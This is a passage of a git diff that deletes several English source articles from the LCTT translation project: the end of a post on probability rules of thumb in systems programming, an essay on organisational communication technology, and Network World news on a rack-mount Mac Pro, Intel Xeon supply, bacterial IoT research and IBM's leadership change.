the Germans were somehow targetting specific areas of London, implying an incredible level of technological advancement. In 1946, however, an actuary did the proper statistical analysis and said that, no, [the clustering of bomb damage was simply what you’d expect from random chance][3]. (That analysis is based on the [Poisson distribution][4], and the ratios in the rule for (N) balls and (N) buckets can be calculated from a Poisson distribution with (\lambda = \frac{N}{N} = 1).) - -![25 points uniformly randomly placed on a 5x5 grid, showing spurious clustering. 8 boxes are empty, 10 boxes contain one point and 7 boxes contain two or more points.][5] - -Random allocation only balances out when the number of “balls” is much larger than the number of “buckets”, i.e., when averaging over a large number of items, or a long time period. That’s one of the many reasons that engineering solutions that work well for large-scale FAANG companies can be problematic when used by companies that are orders of magnitude smaller. - -Proving the third-third-quarter rule is pretty easy if you look at just one bucket. Each of the (N) balls represents a (\frac{1}{N}) chance of adding a ball to the bucket, so the chance of the bucket staying empty is just the (e^{- 1} \approx 36.7%) from the first rule. Linearity of expectation means we can combine the results for each bucket and say that 36.7% of _all_ buckets are expected to be empty, even though the bucket counts aren’t independent. Also, there are (N) possible ways of exactly one ball landing in the bucket, and each way requires one ball to fall in (with probability (\frac{1}{N})) and the other (N - 1) balls to miss (with probability (1 - \frac{1}{N})). So the probably of exactly one ball falling in is (\left. N \times \frac{1}{N} \times (1 - \frac{1}{N})^{N - 1}\rightarrow e^{- 1} \right.). - -### Fixed points of random permutations - -I don’t think this rule has as many practical applications as the (N) balls/buckets rule, but it’s kind of a freebie. - -Think of a battle game in which 6 players start from 6 spawn/home points. If the players play a second round, what’s the chance that someone starts from the same point? Mathematically, that’s asking about the chance of a random permutation having a “fixed point”. - -> If a group of things are randomly shuffled, a bit of over a third ((e^{- 1})) of the time there’ll be no fixed points, a bit of over a third ((e^{- 1})) of the time there’ll be just one fixed point, and the remaining quarter or so of the time there’ll be two or more. - -The number of fixed points in a random shuffle happens to approximate the same distribution as the number of balls in the buckets before, which can be [proven from first principles using the inclusion-exclusion principle][6]. But there’s an even simpler proof for a related fact: - -> A random permutation has exactly one fixed point on average, regardless of size. - -If there are (N) things, each one has a (\frac{1}{N}) chance of ending up in its original location after the shuffle, so on average there’ll be (N \times \frac{1}{N} = 1) fixed points. Note that it’s impossible to get exactly one fixed point by shuffling a two element set (try it!) but 1 is still the average of 2 and 0. (“Average” doesn’t always mean what we want it to mean.) - -That proof might seem too simple, but it’s a demonstration of how powerful linearity of expectation is. Trying to calculate statistics for permutations can be tricky because the places any item can go depend on the places all the other items have gone. Linearity of expectation means we don’t have to care about all the interactions as long as we only need to know the average. The average isn’t always the most useful statistic to calculate, but it’s often the easiest by far. - -## The coupon collector’s problem - -Let’s look at [the common “loot box” mechanism][7]. Specifically, suppose there are 10 collector items (say, one for each hero in a franchise) that are sold in blind boxes. Let’s take the fairest case in which there are no rare items and each item has an equal (\frac{1}{10}) chance of being in a given box. How many boxes will a collector buy on average before getting a complete set? This is the called the coupon collector’s problem, and for 10 items the answer is about 29. - -> The answer to the coupon collector’s problem is a bit more than (N\ln N) (add (\frac{N}{2}) for some more accuracy). - -((\ln N) is (\log) base (e), or just `log(N)` in most programming languages.) - -The coupon collector’s problem hints at why the loot box mechanism is so powerful. The (N) balls in (N) buckets rule tells us that the collector will have about two thirds of the items after buying 10 boxes. It feels like the collector is most of the way there, and it would be a shame to give up and let so much progress go to waste, but actually 10 boxes is only about a third of the expected number of boxes needed. That’s a simplistic model, but item rarity, variation of box type and (in computer games) making some items “unlockable” by completing sets of other items (or fulfilling other dependencies) only make it easier to get collectors to buy more than they originally expect. - -The (N\ln N) rule is very rough, so here’s a plot for comparison: - -![Plot of approximations to the coupon collector's problem. N ln N underestimates significantly, but has the right growth rate. N ln N + N/2 still underestimates slightly, but the error is less than 10%. The 1:1 slope N is also included to show that, beyond small values of N, multiple times N purchases are needed to get all items on average.][8] - -The exact value is rarely needed, but it’s useful to know that you’ll quickly need multiple times (N) trials to get all (N) hits. Any application of the (N) balls/buckets rule naturally extends to a coupon collector’s problem (e.g., on average you’ll need to put over (N\ln N) items into a hash table before all (N) slots are full) but the coupon collector’s problem comes up in other places, too. Often it’s tempting to use randomness to solve a problem statelessly, and then you find yourself doing a coupon collector problem. A cool example is [the FizzleFade effect in the classic 90s first-person shooter Wolfenstein 3D][9]. When the player character died, the screen would fill up with red pixels in what looks like random order. A simple and obvious way to implement that would be to plot red pixels at random coordinates in a loop, but filling the screen that way would be boring. With (320 \times 200 = 64000) pixels, most (~63.2%) of the screen would be filled red after 64000 iterations, but then the player would have to wait over (\ln(64000) \approx 11) times longer than that watching the last patches of screen fade away. The developers of Wolfenstein had to come up with a way to calculate a pseudo-random permutation of pixels on the screen, without explicitly storing the permutation in memory. - -Here’s a loose explanation of where the (\ln N) factor comes from: We know already that any pixel has approximately (\frac{1}{e}) chance of not being coloured by any batch of (N) pixel plots. So, after a batch of (N) pixel plots, the number of unfilled pixels goes down by a factor of (e) on average. If we assume we can multiply the average because it’s close enough to the geometric mean, the number of unfilled pixels will drop from (N) to something like (\frac{N}{e^{k}}) after (k) batches. That means the number of batches needed to go from (N) unfilled pixels to 1 is something like (\ln N), from the basic definition of logarithms. - -In the computer age it’s easy to get an answer once we know we have a specific probability problem to solve. But rough rules like the ones in this post are still useful during the design phase, or for getting an intuitive understanding for why a system behaves the way it does. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/01/27/systems_programming_probability.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://theartofmachinery.com/images/systems_programming_probability/one_on_n_tried_n_times.svg -[2]: https://en.wikipedia.org/wiki/Characterizations_of_the_exponential_function#Characterizations -[3]: https://www.cambridge.org/core/journals/journal-of-the-institute-of-actuaries/article/an-application-of-the-poisson-distribution/F75111847FDA534103BD4941BD96A78E -[4]: https://en.wikipedia.org/wiki/Poisson_distribution -[5]: https://theartofmachinery.com/images/systems_programming_probability/london_v1_simulation.svg -[6]: https://golem.ph.utexas.edu/category/2019/11/random_permutations_part_1.html -[7]: https://www.pcgamer.com/au/the-evolution-of-loot-boxes/ -[8]: https://theartofmachinery.com/images/systems_programming_probability/coupon_collector.svg -[9]: http://fabiensanglard.net/fizzlefade/index.php diff --git a/sources/talk/20200128 Communication superstars- A model for understanding your organization-s approach to new technologies.md b/sources/talk/20200128 Communication superstars- A model for understanding your organization-s approach to new technologies.md deleted file mode 100644 index 632c290741..0000000000 --- a/sources/talk/20200128 Communication superstars- A model for understanding your organization-s approach to new technologies.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Communication superstars: A model for understanding your organization's approach to new technologies) -[#]: via: (https://opensource.com/open-organization/20/1/communication-technology-superstars) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Communication superstars: A model for understanding your organization's approach to new technologies -====== -Adopting new communication technologies can make your organization more -open. But are your people ready? -![Different cell phones][1] - -Multiple books in [the _Open Organization_ series][2] discuss the many ways new communication technologies are changing the nature of both work and management. I've seen these changes firsthand during my nearly three decades working for Japanese corporations. Over time, I've been able to classify and characterize some of the impacts these technologies—particularly new telecommunication technologies and social media—are having on daily life in many organizations. And in April 2016, I shared those observations in an article called _[How new communication technologies are affecting peer-to-peer engagement][3]_. - -But a lot can change in a little under four years. - -[The Open Organization Ambassadors][4] have learned a great deal about the ways open principles are impacting organizational practices. In particular, we've developed an [Open Organization Definition][5] that specifies the five principles that distinguish open organizations from other types of organization—namely, more transparency, more inclusivity, greater adaptability, deeper collaboration and a sense of purpose teams/community. I've also delivered [a presentation on this topic][6] several times since 2016 and learned new insights along the way. So I'd like to update this article with a few comments that reflect those findings. And then, in a follow-up article, I'd like to offer readers some guidelines on how _they_ can determine their organization's level of comfort with communication technology and use it to increase their success relative to industry competitors. - -Simply put: New communication technologies are affecting the way peer-to-peer decision-making practices function in organizations today. And that's affecting several important organizational dimensions: peers' transparency with each other when making decisions, the sense of inclusivity between members in decisions-making activities, their adaptability when situations change, their ability to collaborate with more individuals in the decision-making process, and their ability to build teams, groups, and communities to decide how to achieve their goals. - -### Four approaches to communication technology - -In Japan, I see companies that heavily promote today's communication technologies, as well as some that avoid them. Imagine four types of companies currently making use of today's communication technologies as they compete with other firms. These technologies are key, because they influence the environment in which certain peer-to-peer communities must work. It affects their collaboration and transparency with each other, their inclusivity with members they couldn't consider before because of location, their adaptability in a crisis, and their ability to build a sense of community among their members. This, in turn, affects members' enthusiasm, desire, and engagement—so _investment_ and _utilization_ are critical considerations. In fact, we can actually chart the four types of technology-adopters according to those two variables: investment and utilization. - -Some companies are underinvested in new communication technologies, considering their needs and the relatively lower costs of these technologies today. And what they _do_ have, they're not using to capacity. I call these companies communication technology **"slow movers" (low investment/low utilization)**. Others buy whatever is available at any cost, but don't fully put what they've purchased to full use. I call these communication technology **"fashion followers" (high investment/low utilization)**. Still other companies invest in the very minimum amount of communication technology, but what they do have they use to full capacity. I call these communication technology **"conservative investors" (low investment/high utilization)**. Lastly, there are some companies that invest heavily in communication technology and work very hard to put it to full use. I call these communication technology **"communication superstars" (high investment/high utilization)**. - -These "communication superstars" have the ideal environment for peer-to-peer, front-line discussions and decision making. They have greater collaboration and transparency with each other. They include members on their teams that they wouldn't (or couldn't) consider before because of location. They are more adaptable in a crisis. And they have the ability to build a stronger sense of community among their members. Unfortunately, in Japan, particularly among smaller companies, I'd say more than 70 percent are "slow movers" or "conservative investors." If companies would pay more attention to investing in communication technology, and simultaneously increase their efforts at training staff to use the technology to its full potential, then peer-to-peer, front-line employees could explode with creativity and better leverage all five of the open organization principles I mentioned above. - -New communication technologies are affecting the way peer-to-peer decision-making practices function in organizations today. - -These technologies affect four aspects of information today: volume, speed, quality, and distribution. - -### Increased capacity for decision-making (volume) - -In "communication superstar" environments, communication technologies can actually increase the amount of information that can be made available quickly. Gone are the days in which only researchers or professors have access to in-depth information. Now, front-line people can obtain volumes of information if they know what they're looking for. With more and greater in-depth information in communication superstar company environments, front-line people working there can have more educated discussions, leading to greater inclusivity and collaboration, which can allow them to make the types of decisions that only top management (supported by consultants and researchers) could have made in the past. - -### Faster pace of decision-making and execution (speed) - -New technologies in these "communication superstar" companies are leading to quicker information acquisition, feedback, and flow between the front-line members in the organizations, even if they are very widely disbursed. - -Using the metaphor of adjusting the temperature of water coming out of a faucet, I would describe the effect this way: If you move the handle but the temperature changes very slowly, then finding the temperature you want becomes difficult, because the pace of temperature change is very slow, and differences between settings are difficult to determine. But if you move the handle and water temperature change is more immediate, you'll find that getting the correct temperature is much easier; you're moving quicker and making more rapid adjustments. - -The same logic applies to peer-to-peer discussions and feedback. I have a five-minute-to-twenty-four-hour goal when replying to my worldwide customers. That means that if I receive an email from a customer (something that arrives on my desktop computer at home, my desktop computer in the office, or on my mobile phone), I like to reply within five minutes. This really surprises customers, as they're probably still sitting in front of their computer! In the worst case, I try to reply within 24 hours. This gives me a competitive advantage when attempting to get customers to work with me. Front-line, peer-to-peer communities in these "communication superstar" companies can have that same competitive advantage in making quality decisions and executing them faster. The capacity for speedier replies allows us to make more adjustments quicker. It keeps both employees and customers involved, motivated and engaged. They become more transparent with information, include members they hadn't considered before. They can adapt more rapidly when redirection is required. They can collaborate at a more in-depth level and can build tighter, more trusting project communities. Information arriving too slowly can cause people to "turn off" and direct their attention elsewhere. This weakens the passion, dedication, and engagement of the project. - -### Toward wiser decisions (quality) - -Information not only travels more quickly when the business communication channels are adequate, but it's also subjected to more scrutiny through greater group collaboration and inclusivity. People can share second opinions and gather additional empirical data using these technologies. Furthermore, new communication technologies allow employees and managers to deliver data in new ways. With my years in sales training around the world, I've learned that using multiple visual aids, infographics, and so forth have greatly enhanced communication when English language barriers could have impeded it. All this can lead to high levels of peer-to-peer, front-line engagement, as up-to-date status reports can be quickly distributed and easily understood, making everyone more responsive. - -New technologies in these "communication superstar" companies are leading to quicker information acquisition, feedback, and flow between the front-line members in the organizations, even if they are very widely disbursed. - -### Maximal reach (distribution) - -Not long ago, teammates had to be physically close to one another and know each other well in order to communicate successfully. That's no longer the case, as communication channels can be developed with people literally all over the world. This has led to greater global inclusivity and collaboration. Good communication is the outcome of developing a trusting relationship. For me, building trust with people I've never met face-to-face has taken a bit longer, but I've done it with modern technology. Developing trust this way has led to great peer-to-peer transparency. - -Let me explain. Good communication starts with initial contact, whether meeting someone in person or virtually (via social media or some telecommunication format). Over some period of time and through several exchanges, a relationship starts to develop, and a level of trust is reached. People evaluate one another's character and integrity, and they also judge each other's competence and skills. With this deepening of trust over time, greater communication and collaboration can evolve. At that point, open and in-depth discussions and transparency on very difficult, complex, and sometimes uncomfortable topics can take place. With the ability to communicate at that level, peer-to-peer discussions and decisions can be made. With today's communication technology, greater information exchange can be made among a group of widely disbursed members leading to an expanded team community. I currently have approximately 20 customers around the world. Some I have never met in person; most I have just met in person once. Being stationed in Japan can make regular get-togethers with Europeans and Americans rather difficult. Fortunately, with today's communication technology, I can find solutions for many problems without physically getting together, as I have built a trusting relationship with them. - -### Concluding comments - -With all the benefits of this "communication superstar" working environment, in open organizations that promote peer-to-peer discussions, decision-making and management, I recommend the other three groups to move in that direction. The "slow movers" more than likely have managerial barriers to open information exchange. They should be convinced of the benefits of a more opened organization and the value of greater information exchange. If they don't improve their communication environment, they may lose their competitive advantage. The "fashion followers" should more carefully study their communication needs and time their investments with their in-company training capacities. The "conservative investors" should study their communication bottlenecks and find the technologies that are available to eliminate them. That's the path to super-stardom. - -As I mentioned at the beginning of this article, it's important to determine exactly which of these categories a company falls into with regard to communication technology ["slow movers" (low investment/low utilization), "fashion followers" (high investment/low utilization), "conservative investors" (low investment/high utilization) or "communication superstars" (high investment/high utilization)] against their competitors. Therefore, I would like to address that issue in a future article. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/1/communication-technology-superstars - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_mobilemashup3.png?itok=v1gVY8RJ (Different cell phones) -[2]: https://opensource.com/open-organization/resources/book-series -[3]: https://opensource.com/open-organization/16/4/how-new-communication-technologies-are-affecting-peer-peer-engagement -[4]: https://opensource.com/open-organization/resources/meet-ambassadors -[5]: https://opensource.com/open-organization/resources/open-org-definition -[6]: https://www.slideshare.net/RonMcFarland1/competitive-advantage-through-digital-investment-utilization?qid=9fbb4c4b-f2c2-4468-9f0a-3ebaa6efc91d&v=&b=&from_search=1 diff --git a/sources/talk/20200129 You can now have a Mac Pro in your data center.md b/sources/talk/20200129 You can now have a Mac Pro in your data center.md deleted file mode 100644 index f779534e5f..0000000000 --- a/sources/talk/20200129 You can now have a Mac Pro in your data center.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (You can now have a Mac Pro in your data center) -[#]: via: (https://www.networkworld.com/article/3516490/you-can-now-have-a-mac-pro-in-your-data-center.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -You can now have a Mac Pro in your data center -====== -The company that once eschewed the enterprise now has a server version of the Mac Pro. Apple's rack-mountable Mac Pro starts at $6,499. -Apple - -Steve Jobs rather famously said he hated the enterprise because the people who use the product have no say in its purchase. Well, Apple's current management has adopted the enterprise, ever so slowly, and is now shipping its first server in years. Sort of. - -Apple introduced a new version of the Mac Pro in December 2019, after a six-year gap in releases, and said it would make the computer rack-mountable for data centers. But at the time, all the attention was on the computer’s aesthetics, because it looked like a cheese grater. The other bit of focus was on the price; a fully decked Mac Pro cost an astronomical $53,799. Granted, that did include specs like 1.5TB of DRAM and 8TB of SSD storage. Those are impressive specs for a server, although the price is still a little crazy. - -Earlier this month, Apple quietly delivered on the promise to make the Mac Pro rack-mountable. The Mac Pro rack configuration comes with a $500 premium over the cost of the standing tower, which means it starts at $6,499. - -[][1] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][1] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -That gives you an 8-core Intel Xeon W CPU, 32GB of memory, a Radeon Pro 580X GPU, and 256GB of SSD storage. Most importantly, it gives you the rack mounting rails (which ship in a separate box for some reason) needed to install it in a cabinet. Once installed, the Mac Pro is roughly the size of a 4U server. - -Mac Pros are primarily used in production facilities, where they are used with other audio and video production hardware. MacStadium, a Mac developer with its own data centers, has been installing and testing the servers and thus far has had high praise for both the [ease of install][2] and [performance][3]. - -The server-ready version features a slight difference in its case, according to people who have tested it. The twist handle on the Mac Pro case is replaced with two lock switches that allow the case to be removed to access the internal components. It comes with two Thunderbolt 3 ports and a power button. - -The Mac Pro may be expensive, but you get a lot of performance for your money. Popular YouTube Mac enthusiast Marques Brownlee [tested it out][4] on a 8k resolution video encoding job. Brownlee found a MacBook Pro took 20 minutes to render the five-minute-long video, a iMac Pro desktop took 12 minutes, and the Mac Pro processed the video in 4:20. So the Mac Pro encoded 8k resolution video faster than real time. - -**[ Learn [how server disaggregation can boost data center efficiency][5] and [how Windows Server 2019 embraces hyperconverged data centers][6] . | Get regularly scheduled insights by [signing up for Network World newsletters][7]. ]** - -Apple’s last server was the Xserve, killed off in 2010 after several years of neglect. Instead, it made a version of MacOS for the whole Mac line that would let the hardware be run as a server, which is exactly what the new rack-mountable version of the Mac Pro is. - -MacStadium is doing benchmarks like Node.js, a JavaScript runtime. It will be interesting to see if anyone outside of audio/video encoding uses a Mac Pro in their data centers. - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3516490/you-can-now-have-a-mac-pro-in-your-data-center.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[2]: https://twitter.com/brianstucki/status/1219299028791226368 -[3]: https://blog.macstadium.com/blog/2019-mac-pros-at-macstadium -[4]: https://www.youtube.com/watch?v=DOPswcaSsu8&t= -[5]: https://www.networkworld.com/article/3266624/how-server-disaggregation-could-make-cloud-datacenters-more-efficient.html -[6]: https://www.networkworld.com/article/3263718/software/windows-server-2019-embraces-hybrid-cloud-hyperconverged-data-centers-linux.html -[7]: https://www.networkworld.com/newsletters/signup.html -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200130 Intel denies reports of Xeon shortage.md b/sources/talk/20200130 Intel denies reports of Xeon shortage.md deleted file mode 100644 index fce436ea0a..0000000000 --- a/sources/talk/20200130 Intel denies reports of Xeon shortage.md +++ /dev/null @@ -1,64 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Intel denies reports of Xeon shortage) -[#]: via: (https://www.networkworld.com/article/3516392/intel-denies-reports-of-xeon-shortage.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Intel denies reports of Xeon shortage -====== -The PC side of Intel's Xeon processor supply remains constrained, but server customers should get their orders this year. -Intel - -Intel has denied reports that its Xeon supply chain is suffering the same constraints as its PC desktop/laptop business. CEO Bob Swan said during the company's recent earnings call that its inventory was depleted but customers are getting orders. - -The issue blew up last week when HPE – one of Intel's largest server OEM partners – reportedly [told UK-based publication The Register][1] that there were supply constraints with Cascade Lake processors, the most recent generation of Xeon Scalable processors, and urged HPE customers "to consider alternative processors." HPE did not clarify if it meant Xeon processors other than Cascade Lake or AMD Epyc processors. - -AMD must have loved that. - -[][2] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][2] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -At the time, Intel was in the quiet period prior to announcing fourth quarter 2019 results, so when I initially approached them for comment, company executives could not answer. But on last week’s earnings call, Swan set the record straight. While supply of desktop CPUs remains constrained, especially on the low-end, Xeon supply is in “pretty good shape,” as he put it, even after a 19% growth in demand for the quarter. - -“When you have that kind of spike in demand, we are not perfect across all products or all SKUs. But server CPUs, we really prioritize that and try to put ourselves in a position where we are not constrained, and we are in pretty good shape. Pretty great shape, macro. Micro, a few challenges here and there. But server CPU supply is pretty good,” he [said on an earnings call][3] with Wall Street analysts. - -Intel CFO George Davis added that supply is expected to improve in the second half of this year, across the board, thanks to an expansion of production capacity. "In the second half of the year we would expect to be able to bring both our server products and, most importantly, our PC products back to a more normalized inventory level," Davis said. - -Intel’s data center group had record revenue of $7.2 billion in Q4 2019, up 19% from Q4 2018. In particular, cloud revenue was up 48% year-over-year as cloud service providers continue building out crazy levels of capacity. - -**[ Check out our [12 most powerful hyperconverged infrasctructure vendors][4]. | Get regularly scheduled insights by [signing up for Network World newsletters][5]. ]** - -Hyperscalers like Amazon and Google are building data centers the size of football stadiums and filling them with tens of thousands of servers at a time. I’ve heard concerns about this trend of a half-dozen or so companies hoovering up all of the supply of CPUs, memory, flash and traditional disk, and so on, but so far any real shortages have not come to pass. - -Perhaps not surprisingly, Intel's enterprise and government revenue was down 7% as more and more companies reduce their data center footprint, while communication and service providers' revenue grew 14% as customers continue to adopt AI-based solutions to transform their networks and transition to 5G. - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3516392/intel-denies-reports-of-xeon-shortage.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.theregister.co.uk/2020/01/20/intel_hpe_xeon_shortage/ -[2]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[3]: https://seekingalpha.com/article/4318803-intel-corporation-intc-ceo-bob-swan-on-q4-2019-results-earnings-call-transcript?part=single -[4]: https://www.networkworld.com/article/3112622/hardware/12-most-powerful-hyperconverged-infrastructure-vendors.htmll -[5]: https://www.networkworld.com/newsletters/signup.html -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200131 How bacteria could run the Internet of Things.md b/sources/talk/20200131 How bacteria could run the Internet of Things.md deleted file mode 100644 index 48f86de474..0000000000 --- a/sources/talk/20200131 How bacteria could run the Internet of Things.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How bacteria could run the Internet of Things) -[#]: via: (https://www.networkworld.com/article/3518413/how-bacteria-could-run-the-internet-of-things.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -How bacteria could run the Internet of Things -====== -The Internet of Bio-Nano Things (IoBNT) would use certain kinds of bacteria, which scientists think has the attributes needed to make effective sensor networks. -Thinkstock - -Biologically created computing devices could one day be as commonplace as today’s microprocessors and microchips, some scientists believe. Consider DNA, the carrier of genetic information and the principal component of chromosomes; it's showing promise [as a data storage medium][1]. - -A recent study ([PDF][2]) suggests taking matters further and using microbes to network and communicate at nanoscale. The potential is highly attractive for the Internet of Things (IoT), where concealability and unobtrusiveness may be needed for the technology to become completely ubiquitous. - -Advantages to an organic version of IoT include not only the tiny size but also the autonomous nature of bacteria, which includes inherent propulsion. There’s “an embedded, natural propeller motor,” the scientists from Queen Mary University in London explain of the swimming functions microbes perform. - -[][3] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][3] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -At this point, research into the Internet of Bio-Nano Things (IoBNT) is at an early stage, and the Queen Mary University researchers are predominantly explaining how similarities between bacteria and computing could be exploited. But the study is intriguing. - -"The microbes share similarities with components of typical computer IoT devices," wrote Raphael Kim and Stefan Posland in their [paper][2] published on the subject. “This presents a strong argument for bacteria to be considered as a living form of Internet of Things (IoT) device.” - -Environmental IoT is one area they say could benefit. In smart cities, for example, bacteria could be programmed to sense for pollutants. Microbes have good chemical-sensing functions and could turn out to work better than electronic sensors. In fact, the authors say that microbes share some of the same sensing, actuating, communicating and processing abilities that the computerized IoT has. - -In the case of sensing and actuating, bacteria can detect chemicals, electromagnetic fields, light, mechanical stress and temperature — just what’s required in a traditional printed circuit board-based sensor. Plus, the microbes respond. They can produce colored proteins, for example. And not only that, they respond in a more nuanced way compared to the chip-based sensors. They can be more sensitive, as one example. - -[The time of 5G is almost here][4] - -The aforementioned DNA, built into bacteria, functions as a control unit, both for processing and storing data. Genomic DNA would contain the instructions for some functioning, and plasmids — which is another form of DNA related to how genes get into organisms — customize process functions through gene addition and subtraction. - -Networking is also addressed. Transceivers are also in bacterial IoT, the team says. The importing and exporting of molecules act as a form of signaling pathway, and a DNA exchange between two cells can take place. That’s called “molecular communication” and is described as a bacterial nanonetwork. Digital-to-DNA and back to DNA again is a DNA-related area currently showing promise. - -Bacteria should become a “substrate to build a biological version of the Internet of Things,” the scientists say. Interestingly, similar to how traditional IoT has been propelled forward by tech hobbyists mucking around with Arduino microcontrollers and Raspberry Pi educational mini-computers, Kim and Posland reckon it will be do-it-yourself biology that will kick-start IoBNT. They point out that easily obtainable educational products like [the Amino Labs kit][5] already allow the generation of specific colors from bacteria, for example. - -“Currently, tools and techniques to run small-scale experiments with micro-organisms are widely available to the general public, through various channels, including maker spaces.” - -The team also suggest that hypothetically the “gamification of bacteria” could become a part of the experimentation. Biotic games exist. The researchers propose “to utilize the DIY biology movement and gamification techniques to leverage user engagement and introduction to bacteria.” - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3518413/how-bacteria-could-run-the-internet-of-things.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3268646/dna-data-storage-closer-to-becoming-reality.html -[2]: https://arxiv.org/ftp/arxiv/papers/1910/1910.01974.pdf -[3]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[4]: https://www.networkworld.com/article/3354477/mobile-world-congress-the-time-of-5g-is-almost-here.html -[5]: https://amino.bio/ -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200201 IBM-s CEO Virginia Rometty to be replaced by its cloud, Red Hat chiefs.md b/sources/talk/20200201 IBM-s CEO Virginia Rometty to be replaced by its cloud, Red Hat chiefs.md deleted file mode 100644 index db462d27c0..0000000000 --- a/sources/talk/20200201 IBM-s CEO Virginia Rometty to be replaced by its cloud, Red Hat chiefs.md +++ /dev/null @@ -1,62 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IBM's CEO Virginia Rometty to be replaced by its cloud, Red Hat chiefs) -[#]: via: (https://www.networkworld.com/article/3518795/ibms-ceo-virginia-rometty-to-be-replaced-by-its-cloud-red-hat-chiefs.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -IBM's CEO Virginia Rometty to be replaced by its cloud, Red Hat chiefs -====== -IBM cloud leader Arvind Krishna and Red Hat CEO Jim Whitehurst, to take reins from long-time CEO -IBM - -If anyone was still wondering how serious IBM is about being a major cloud player that question was resoundly answered this week when its current cloud and cognitive-software leader Arvind Krishna and Red Hat CEO Jim Whitehurst to be CEO and president, respectively, to replace long-time CEO Virginia Rometty. - -Krishna, 57, was a principal architect of IBM’s $34 billion acquisition of Red Hat last year and is currently IBM’s senior vice president of Cloud and Cognitive Software, which has become the company’s palpable future.    - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -The [Red Hat acquisition][2] not only made Big Blue a bigger open-source and enterprise-software player, but mostly it got IBM into the lucrative hybrid-cloud business, targeting huge cloud competitor Google, 